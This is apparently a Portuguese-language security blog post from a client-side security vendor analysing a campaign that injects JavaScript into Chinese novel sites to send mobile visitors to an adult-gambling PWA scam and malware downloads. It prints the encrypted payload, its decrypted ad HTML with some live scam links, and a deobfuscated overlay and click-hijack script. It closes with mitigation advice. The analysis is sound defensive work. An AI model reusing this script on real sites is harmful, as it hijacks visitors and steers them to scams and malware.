Skip to main content
Blog
Attacks Blog

Golpe Adulto Chinês Visa Utilizadores Móveis Através de PWA

Identificámos uma nova campanha de injeção que abusa de JavaScript de terceiros para redirecionar utilizadores.

May 20, 2025 6 min read
pwa-injection-cover-image

Resumo: redirecionamento por overlay em PWA com filtro de user-agent exclusivo para móveis

  • As Progressive Web Apps são tratadas como uma história de UX interna, não como uma superfície de ataque. Esta campanha transformou a PWA na página de destino de um golpe de jogo para adultos, precisamente porque ninguém na segurança client-side estava a vigiar essa porta.
  • O loader injetado a partir de xxsmad6[.]com só era acionado em user agents móveis, colocava uma imagem de overlay vinda de toutiaoimg[.]com e reencaminhava as vítimas para xjdm166[.]com; duas amostras foram sinalizadas por apenas 3 de 63 e 3 de 65 motores no VirusTotal. A cside monitoriza o comportamento dos scripts em runtime em visitantes reais, não em crawlers de desktop que o atacante filtra.
  • Se o seu site carrega qualquer script de terceiros e serve tráfego móvel, teste esta semana o que um telemóvel na Ásia realmente vê. Se só verificar o desktop, estará a inspecionar a versão que o atacante criou para si ver.

Identificámos uma nova campanha que abusa de injeções de JavaScript de terceiros para redirecionar utilizadores móveis para um golpe chinês de conteúdo adulto via PWA.

Exemplo (NSFW): hxxps://xjdm166[.]com/html/#/i/home

Embora o payload em si não seja novidade (mais um golpe de jogo para adultos), o método de distribuição destaca-se. A página de destino maliciosa é uma Progressive Web App (PWA) completa, provavelmente com o objetivo de reter os utilizadores por mais tempo e contornar proteções básicas do navegador.

As PWAs são frequentemente ignoradas no espaço da segurança client-side. No entanto, qualquer distribuição baseada no navegador está sujeita a este tipo de vulnerabilidades.

Visão geral do golpe de conteúdo adulto baseado em PWA que visa utilizadores móveis

O que está a acontecer:

  1. Alvo exclusivo em dispositivos móveis: o script filtra os utilizadores de desktop e concentra os ataques em dispositivos móveis.
  2. Injeção de script de viewport: se a página comprometida não tiver uma meta tag de viewport, o script injeta uma para forçar a renderização móvel correta.
  3. Injeção de overlay publicitário: surge um overlay escuro semitransparente, uma imagem obtida de toutiaoimg[.]com funciona como visual principal, e é adicionada uma imagem de botão de fechar que aciona um redirecionamento em vez de fechar o overlay.
  4. Sequestro de cliques: clicar na imagem principal ou no falso botão de fechar abre o site do golpe PWA numa nova aba, um clássico esquema de isco e troca.
  5. Recursos externos carregados:
  • xxsmad6[.]com (loader principal e assets)
  • xjdm166[.]com (site final do golpe)
  • toutiaoimg[.]com (disfarçado de host de imagens legítimo)

Os ataques via PWA estão a aumentar

  • O uso de PWAs sugere que os atacantes estão a experimentar métodos de phishing mais persistentes.
  • O foco exclusivo em dispositivos móveis permite-lhes evitar muitos mecanismos de deteção.
  • Esta é mais uma variação das campanhas de injeção de jogo para adultos chinesas que temos visto nos últimos meses, mas com uma nova tática de distribuição.

Sites comprometidos: disfarçados de plataformas de leitura de romances

<title>海棠文学网_好看的小说_小说排行榜_最全的小说阅读网</title>
<title>神马小说网 - 最好看的免费小说阅读网</title>
<title>78小说网_书友最值得收藏!</title>
<title>寂寞书屋 - 纯净阅读,无弹窗广告干扰</title>

Traduzido:

<title>Haitang Literature Network_Good novels_Novel rankings_The most comprehensive novel reading network</title>

<title>Shenma Novel Network - The best free novel reading network</title>

<title>78 Novel Network_Book friends are most worthy of collection!</title>

<title>Lonely Book House - Pure reading, no pop-up ads</title>
Sites falsos de apps de leitura usados para distribuir o ataque de injeção de script

No TTP antigo, os seguintes sites sofreram ataques de injeção de script:

Script injetado encontrado nos sites afetados na variante de ataque mais antiga
TTP antigo

No novo TTP, encontramos o código encriptado:

$('#htmlContenthtml').html(x("uhkV3gCCBQyiiK\u002bNG9JE\u002b9hHSIODkYZ1ut5A6t6ZN1CzUGIQV0q\u002bDif4omYaPwky489u93Bg0A3mGPnKRNpagzetPGDoU\u002bqgg9XIwBFbNm0peuBVpJNWUyEo9A9jMb1ww\/lJPCvSd7udl39atb6SGz7uyslJZ9dasE\/vd\u002bHndr\u002bcaWLMw1gWIixKSIgpVmONGvK6CsRol9Y1q00W1XLRuBVoaGY2IKqMcfJJGpGwBtUQMLaxY5XZIrVLu10GdxWMXBMyvnghS\/EdP6hJtLE\/mfoGAf8zerXqTEKiTvTDKfG7CC7icpdf81fSEKdeh8AfSrHR48S1AagUWx0R6m5MFsm8BGTlJIzMUHzp9KJ\u002bI8Mnop9cH14cOgn2ogrgjDcmTH03ing4oZ\u002bWBiQlDGjMJAIEgYILMURWJrJBh\/OSYaiIcH0BaDem3\/cZ052IkV61YJFeyZqYEkIEd156Mednuct8dZ840FTbhhLlE43O0BpNKgQYCTKuC5HNXAQMihQXRwT1\u002bQidCflMlPdqiWbnNg5aFKTqF3Sp99OwGCGzzTOb55f\u002bmkHhqf4Lkx5JocptlF3RqE2LU8IAs9cxAGJeFOd\/\/iV89tqUPrEm6gZ9BUIcXDNmA39xIpn1gd2xnptU4GicPWmPhYgcwaZZqWKZdwcdDX\/a8l7JFiziVHrbjHq0D\/zLRH6DG2Cae6VPjbSsDBVnSwGV1eyi2xtEBEIjw3crQvNxDlEXPMAye16PvdqtoQSlhWbCuaehEOIzYpThGA6ar8elsWNA25IPOD2q08fb1XDkVY9WwgQhAStzAVi4Nkmr\u002b19472m27SXwFgQG\u002bL9qIvldGETi2MTAg7I4pTFiNdhCG7JrHVnjVLqWerIEs2Tfg6wc2Viw0jmIQHli0m79BvuN46pk\/kpNz8gbABrFb4pLA1FSXH\/bNG4KLt9O64bYUPAd7wTUv3Q47k1PmXTSwhTH\/wcFZagKEjoeE9M\/79a\u002bDIzPe5LnwBKxs\/DkktiZ9r0NokvYXutby9z2WjmjToVmDv03iD5O3wAF\/22sAzgtvVMAunEAy8nvDiuGRC5kko\u002bbjZrWiq6cMmCe6EhCcM3mSdHxj8pVy7\u002b5HLkDxqDMLBktDP1kdcMlwLlH9CIF6jzAuIF4WSEvaMAQXUHSgUJjyopdP1ApAaOgJBdb6rHxHrFYXsK8CscgkPCKb\u002bLoDyK\/X3MAA2TbqFPlEwCZv6YdtUEvabj\u002bUpFjxSfbqXnmKzebamYKrRiVkv\u002bOEYAa\u002barOSCx2e2M6sBjF5CpEuP9BWhs2f3kcQXtrf9OA\/jb69Vg6vl7U6kI\/PK92JQDHQsbMANMkICDTqU39Rv9TlRJU\u002bTerkvwUkJ\u002bcUeYr8C7HreKG6mIkneW2Dg6T\u002bDh792jOWjhKY\u002bgdov\/5cRJSRrk9Qn9f9n1BDvMzX\u002b\/qjuxUKz7pb7Jn9tuddc7HpsKV\/mvYHTYu\/hdqd7BtkowWidNN26gXWUbi3wKIXMGjzEI5LvjBIZQe7RB2oIEoWt5GxxLJXfo4LDQLWWhVPIgL5O0O7JBx51wWYCC\/35AhdojHKz\/W9k\/WkCgCiQ8bRbV5cnOfuHt\u002bEKLKZPTUdhveHlSVQxhiqx5P0\/y7NitzNHn17pfZtdtg9EeA8NNDdM50pGqzcY9Gq6UxzF5mvb\u002bKFPNIFhaPqSxU2bwk\u002bJxHyCX9PhmN8NoJao2sFgwrTMsPzXbpGGXk4moDOsO\/gEGIcv\/Lan5sOh1Sdk\u002bbBN0J4Et4bDzkcKqsRXd68TsRF\/4QL18N4mwdAeBzIgIr9oKSVN587pUEQ8cMWmMF1gO8oPsfHf2OxlyOq1ynp16QCDGVm7l46fzLCzTOg3sWIPWwmG9aVVTKD\/Rb5hIgJAb9nzF4dR8IXuJNgCsSswOPcDPmBS9cUoCCEfqtbQxHbwsV46r8ER28ZfzG9O31Z\/67FEmE4\u002bKS2\/nmHhS7C7LbhwfhEBhphphDngH9qjh1UdYU\/9eWGAdPRFnUJZPuUaPqb7W19ZJEigC9C9hhNZ\/lN3n2X2D\/mIsOLkr1S37gyrgTIheSGauTKf4JXwpu\/R9fHcO07uys7fQ6EAFVq6lTwDmNu3dX6RHlzY2f86vREVgYNIfOxgc\u002bZjqiFa0lyk3gV63G5NC\u002bfQmseG8ja9rAAQ\u002bvzzShhHtud4fVdAvPAafGCiGOi3vQQN7eHlFvkSKk08xkUdyApOzDyEp4VifnWEasTdRG2EtFd0\u002bteLPsnn\/Ws2RGEUhmo\u002bH0NCvybejA5SZH2xSyXCI6vzCXvEdXxVI5r4F811zdkG3dQXnJzyRTtz18EOpWOjWiCwIo\u002beK76g85y1AxsfvClDs1hHV1Fc452TbYnLIzB\/8D9BivBY0xJr3AEj9lpT8yMOY5aB0XvYcPAEnirKmILBYMH653DQ43Hz\/FkZjiFQzuNRUvD4FeBTLClcF4TI1abk7fFk1PdRbNdF18IXcudo7nus0oPM\u002bJmORxzD3jpYfBxxS2pG\/kIcZoalbFXyKZtE245MYCJdO9DoSRwLxTZ06lAjXQYxzht2CabUKVR7LnPN1UHduG9m7RxHCGX3EBQftz6nrlSfSn25VAknMD\/odK1WLR35OEV5HZA2OYUMJvNddB5Bn1UlEAtojd38xrNnja\u002bArC82AVJW7SZRlEKGYqn8zahGjEk9Dl7duhzPqkb\/x9\u002bBPuhCSNR6x5iuV0BOltS3KDAhIHWgcr\/XRQpiT7D6anVoberQm6gdz8sYAcw06Z7p2rhuL8HQmk5tZCRDJ2e6Gd91pGSn38fQvmTXkNC3mAqbH\u002b63HBtF9CnG76U6MX3qOhHxW3eLBur9WmlWJ0hAej4p5r3LBxJ2W8bTk322bB6n48WYgYOU4H0Xr\/QKZlbp0a10iOViF\/joR8n0CF5MDJr4JCAm4HSt7oVksigTAePh3hRt\u002b3Xoq0Znm3Ze46XvPr3JPZ9cUNpB\u002bjVSWztX41j0fzBCowNTAMDFYMv7QJTFfISU5daCT2PJ4bjwEd7s8dbL4GkiZzsHjeU1Y27pYuZ5WcW\u002bIWeuX1NXRaFSOT4spx\/FijUaA4g5jRR6Qmx55m5Mf2vOUJ9itjVMqfGGtb\/UyvvoizfN\u002bVNpdPRSUlB17cXotygSPIFpki4\/Yr53w8CvmIyKNsg7i0yt2nnuhP59k70WUTmR5e2Or8HCRkX7y6H2pm0IZkD2vmJFvTbLCkb4cjRU2SM28gWFmoelBucFfbiDxKkPYMvJjJSTkg6WiGtd8hdF82og0\u002bXvxAjKwuDb23btRE\/kKFDgllFg==","encryptedDatastr","eIyX1RkLJ4dnkjWpsfuAWA=="));
Payload JavaScript encriptado e ofuscado injetado nas páginas

Este código encriptado resulta em:

<style type="text/css">
@media screen and (min-width:800px){.yl5{display:none;}}.yl5{width:100%;overflow:auto;background:#33343f;}.yl5 dd{float:left;width:20%;white-space:nowrap;overflow:hidden;padding:0;line-height:32px;margin-inline-start:0px;margin-bottom:0rem;}.yl5 dd li{line-height:30px;height:30px;overflow:hidden;text-align:center;border:1px solid #e5e5e5;background:#33343f;border-radius:1px;list-style:none;}.yl5 dd li a{font-size:18px;color:#f9ff00;}</style>
<div class="yl5">

<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/yn2k0ypd"><strong>视频I区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/r42r7opq"><strong>视频E区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/mqp10w2x"><strong>视频J区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/z32x7npd"><strong>视频D区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/1dpy76pv"><strong>视频P区</strong></a></li></dd>

<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/oq5dd058"><strong>视频F区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/q5o9gx5w"><strong>视频Q区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/l50dx72e"><strong>视频S区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/32xdq1pd"><strong>视频W区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/92qlr9pn"><strong>视频Y区</strong></a></li></dd>

<div class="mebty"><table border="1" width="100%" class="duilianpt" bgcolor="#ffffff" cellspacing="0" bordercolor="#FFFFFF" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF" cellpadding="4" style="text-align:center; background-color: #33343f;font-size: 16px;"><tbody><tr><td style="background-color: #33343f;"><a style="color: red;">AV VIP温馨提示:因运营商网络问题,若网站打不开,akav01.top-akav60.top总有一个能打开!</a></td></tr></tbody></table></div></div>

O fluxo de injeção

O ataque começa com a injeção do seguinte script nos sites:

javascript
CopyEdit
hxxps://xxsmad6[.]com/s.php?g=1&t=2&p=1388&i=
  • Este script funciona como o loader inicial.
  • Quando a vítima visita um site comprometido a partir de um dispositivo móvel, o redirecionamento é acionado.
  • As visitas de dispositivos não móveis (desktop, crawlers de servidores) são ignoradas, reduzindo a deteção.

Estamos a observar tráfego significativo para este domínio, o que sugere que a campanha está generalizada.

O script do payload (desofuscação de JavaScript)

Segue uma análise do principal código injetado:

(function () {
  let flag = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
  if(!flag){ return false; }

  // Ensure viewport for mobile rendering
  var gmate = document.getElementsByTagName('meta'), isviewport = 1;
  for(var i=0,len=gmate.length; i<len; i++){
    if(gmate[i] && gmate[i].getAttribute('name') == 'viewport'){ isviewport = 0; }
  }
  if(isviewport){
    var node = document.createElement('meta');
    node.content = 'width=device-width,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0,user-scalable=no';
    node.name = 'viewport';
    document.getElementsByTagName('head')[0].insertBefore(node, head.firstChild);
  }

  // Fallback for missing body
  if(!document.body){
    document.write("<a id='_nobody' style='display: none'>none</a>");
  }

  var arand = Math.floor(Math.random() * 100000);

  var o = "<div id='"+arand+"' style='width:100%;background-color: rgba(0,0,0,.64);box-shadow: 0 -1px 1px rgba(0,0,0,.10);'>" +
            "<div style='position: relative;'>" +
              "<a href='https://xxsmad6.com' target='_blank'>" +
                "<img style='position: absolute;bottom: 0;left:0;display: none;' src='hxxps://xxsmad6[.]com/static/union/images/b-5.png'>" +
              "</a>" +
              "<img id='i"+arand+"' style='width: 100%;display: block;' src='hxxps://p3-sign.toutiaoimg[.]com/...' >" +
              "<img src='hxxps://xxsmad6[.]com/static/union/images/close.png' id='c"+arand+"' style='position:absolute;top:0;right:0;cursor:pointer;width:26px;height:26px;z-index:2147483647'>" +
            "</div>" +
          "</div>";
  document.write(o);

  document.getElementById("c"+arand).onclick = function() {
    window.open(("hxxps://xjdm166[.]com/html/?p=1388"), "_blank");
  };
  document.getElementById("i"+arand).onclick = function() {
    window.open(("hxxps://xjdm166[.]com/html/?p=1388"), "_blank");
  };
})();
Versão desencriptada do payload JavaScript injetado
Exemplo de um site de conteúdo adulto

Durante a análise, encontrámos algumas falhas nestas aplicações web, que nos permitiram identificar frames ocultos.

Como o site Ho ti aparece normalmente:

O site Ho ti a ser exibido normalmente, sem os frames ocultos
Vista do site sem comprometimento

Site com falhas nos frames:

O mesmo site a apresentar falhas que revelam os frames ocultos injetados
A falha revela frames ocultos

As URLs injetadas levam a sites adultos falsos que tentam fazer-se passar por sites adultos conhecidos:

Sites adultos falsos que se fazem passar por marcas adultas conhecidas
Página de redirecionamento falsa

Isto leva a um download de malware para Android e Apple:

Pedido de download de malware para dispositivos Android e Apple
iOS falso

Conseguimos obter 2 amostras detetadas por apenas 3 fornecedores no VirusTotal.

Mitigação e recomendações:

  • Reveja e higienize os scripts de terceiros. Concentre-se nas inclusões externas que não controla.
  • Implemente uma CSP (Content Security Policy) rigorosa para reduzir a execução de scripts inline.
  • Monitorize o comportamento em tempo de execução do seu site com uma solução de segurança client-side.
  • Esteja atento a quaisquer novas meta tags inesperadas, overlays ou pedidos externos para domínios que não reconheça.
Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitore e proteja seus scripts de terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração